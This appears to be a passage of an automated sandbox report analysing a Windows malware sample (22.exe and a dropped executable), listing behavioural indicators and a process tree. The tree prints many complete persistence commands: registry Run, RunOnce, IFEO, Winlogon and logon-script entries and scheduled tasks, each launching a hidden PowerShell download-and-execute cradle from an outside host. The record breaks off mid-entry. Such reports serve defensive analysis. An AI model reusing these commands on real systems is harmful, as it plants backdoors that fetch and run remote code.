Key created	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 53 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
11008	schtasks.exe
11236	schtasks.exe
5272	schtasks.exe
5944	schtasks.exe
4420	schtasks.exe
5060	schtasks.exe
6588	schtasks.exe
9348	schtasks.exe
7832	schtasks.exe
2596	schtasks.exe
6476	schtasks.exe
10928	schtasks.exe
5828	schtasks.exe
4032	schtasks.exe
6108	schtasks.exe
11092	schtasks.exe
10952	schtasks.exe
11160	schtasks.exe
2940	schtasks.exe
9492	schtasks.exe
11180	schtasks.exe
11196	schtasks.exe
11100	schtasks.exe
10936	schtasks.exe
5948	schtasks.exe
10964	schtasks.exe
4288	schtasks.exe
1408	schtasks.exe
3652	schtasks.exe
1140	schtasks.exe
11136	schtasks.exe
11028	schtasks.exe
7772	schtasks.exe
11144	schtasks.exe
4256	schtasks.exe
2236	schtasks.exe
3200	schtasks.exe
11068	schtasks.exe
6528	schtasks.exe
6856	schtasks.exe
7368	schtasks.exe
7296	schtasks.exe
5624	schtasks.exe
10972	schtasks.exe
5980	schtasks.exe
6520	schtasks.exe
10128	schtasks.exe
6572	schtasks.exe
11096	schtasks.exe
4032	schtasks.exe
10088	schtasks.exe
11128	schtasks.exe
4820	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2392	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3888	22.exe
3264	powershell.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3888	22.exe
3264	powershell.exe
2204	powershell.exe
2204	powershell.exe
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]
3328	[email protected]

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2392	explorer.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3888	22.exe
Token: SeDebugPrivilege	3264	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	3328	[email protected]
Token: SeDebugPrivilege	3328	[email protected]
Token: SeDebugPrivilege	2360	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2392	explorer.exe
2392	explorer.exe
1044	explorer.exe
1044	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3888 wrote to memory of 4152	3888	22.exe	89
PID 3888 wrote to memory of 3292	3888	22.exe	91
PID 3888 wrote to memory of 5108	3888	22.exe	93
PID 3888 wrote to memory of 4056	3888	22.exe	95
PID 3888 wrote to memory of 2384	3888	22.exe	97
PID 4152 wrote to memory of 700	4152	cmd.exe	98
PID 3292 wrote to memory of 2448	3292	cmd.exe	100
PID 3888 wrote to memory of 4548	3888	22.exe	101
PID 3888 wrote to memory of 660	3888	22.exe	104
PID 4056 wrote to memory of 3164	4056	cmd.exe	107
PID 5108 wrote to memory of 4644	5108	cmd.exe	108
PID 4548 wrote to memory of 4420	4548	cmd.exe	109
PID 2384 wrote to memory of 2832	2384	cmd.exe	110
PID 660 wrote to memory of 4032	660	cmd.exe	111
PID 3888 wrote to memory of 4216	3888	22.exe	113
PID 3888 wrote to memory of 2316	3888	22.exe	115
PID 4216 wrote to memory of 4256	4216	cmd.exe	117
PID 2316 wrote to memory of 4144	2316	cmd.exe	118
PID 2316 wrote to memory of 2008	2316	cmd.exe	127
PID 3328 wrote to memory of 4276	3328	[email protected]	129
PID 3328 wrote to memory of 4500	3328	[email protected]	131
PID 3328 wrote to memory of 1436	3328	[email protected]	133
PID 3328 wrote to memory of 3776	3328	[email protected]	135
PID 4276 wrote to memory of 4524	4276	cmd.exe	137
PID 3328 wrote to memory of 4576	3328	[email protected]	138
PID 3328 wrote to memory of 3164	3328	[email protected]	140
PID 4500 wrote to memory of 2024	4500	cmd.exe	142
PID 1436 wrote to memory of 1708	1436	cmd.exe	144
PID 3328 wrote to memory of 4488	3328	[email protected]	143
PID 3776 wrote to memory of 560	3776	cmd.exe	145
PID 4576 wrote to memory of 3012	4576	cmd.exe	147
PID 3164 wrote to memory of 4032	3164	cmd.exe	148
PID 4488 wrote to memory of 2236	4488	cmd.exe	149
PID 2008 wrote to memory of 452	2008	[email protected]	150
PID 2008 wrote to memory of 3400	2008	[email protected]	152
PID 2008 wrote to memory of 2444	2008	[email protected]	154
PID 452 wrote to memory of 1540	452	cmd.exe	156
PID 2008 wrote to memory of 4888	2008	[email protected]	157
PID 2008 wrote to memory of 4740	2008	[email protected]	159
PID 2008 wrote to memory of 3808	2008	[email protected]	161
PID 2008 wrote to memory of 1580	2008	[email protected]	163
PID 2444 wrote to memory of 4148	2444	cmd.exe	164
PID 3400 wrote to memory of 4100	3400	cmd.exe	166
PID 4888 wrote to memory of 4360	4888	cmd.exe	167
PID 4740 wrote to memory of 1756	4740	cmd.exe	168
PID 3808 wrote to memory of 5060	3808	cmd.exe	169
PID 1580 wrote to memory of 3200	1580	cmd.exe	170
PID 3328 wrote to memory of 2256	3328	[email protected]	171
PID 3328 wrote to memory of 1380	3328	[email protected]	173
PID 3328 wrote to memory of 2984	3328	[email protected]	175
PID 2256 wrote to memory of 640	2256	cmd.exe	177
PID 3328 wrote to memory of 880	3328	[email protected]	178
PID 3328 wrote to memory of 4100	3328	[email protected]	180
PID 3328 wrote to memory of 1860	3328	[email protected]	182
PID 1380 wrote to memory of 2928	1380	cmd.exe	183
PID 2984 wrote to memory of 2436	2984	cmd.exe	185
PID 3328 wrote to memory of 2484	3328	[email protected]	186
PID 880 wrote to memory of 1272	880	cmd.exe	230
PID 1860 wrote to memory of 4288	1860	cmd.exe	189
PID 4100 wrote to memory of 4484	4100	cmd.exe	190
PID 2484 wrote to memory of 1408	2484	cmd.exe	238
PID 3328 wrote to memory of 884	3328	[email protected]	196
PID 3328 wrote to memory of 1704	3328	[email protected]	199
PID 3328 wrote to memory of 1116	3328	[email protected]	201

C:\Users\Admin\AppData\Local\Temp\22.exe
"C:\Users\Admin\AppData\Local\Temp\22.exe"
1⤵
- Checks computer location settings
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3888
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:700
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2448
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5108
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:4644
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:3164
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:2832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc onlogon /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4420
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4032
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Tele@VietReport" /tr '"C:\Users\Admin\AppData\Roaming\[email protected]"' & exit
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4216
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "Tele@VietReport" /tr '"C:\Users\Admin\AppData\Roaming\[email protected]"'
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4256
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp628D.tmp.bat""
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\SysWOW64\timeout.exe
    timeout 3
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4144
- - C:\Users\Admin\AppData\Roaming\[email protected]
    "C:\Users\Admin\AppData\Roaming\[email protected]"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:452
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:1540
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3400
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:4100
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2444
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        System Location Discovery: System Language Discovery
        
        PID:4148
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4888
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
        5⤵
        Modifies WinLogon for persistence
        System Location Discovery: System Language Discovery
        
        PID:4360
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4740
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
        5⤵
        Registers new Windows logon scripts automatically executed at logon.
        
        PID:1756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc onlogon /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3808
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc onlogon /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc minute /mo 5 /f
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1580
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc minute /mo 5 /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3264

C:\Users\Admin\AppData\Roaming\[email protected]
"C:\Users\Admin\AppData\Roaming\[email protected]"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:4524
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2024
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1436
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:1708
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3776
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:3012
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4032
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2236
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:640
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2928
- C:\Windows\SysWOW64\cmd.exe
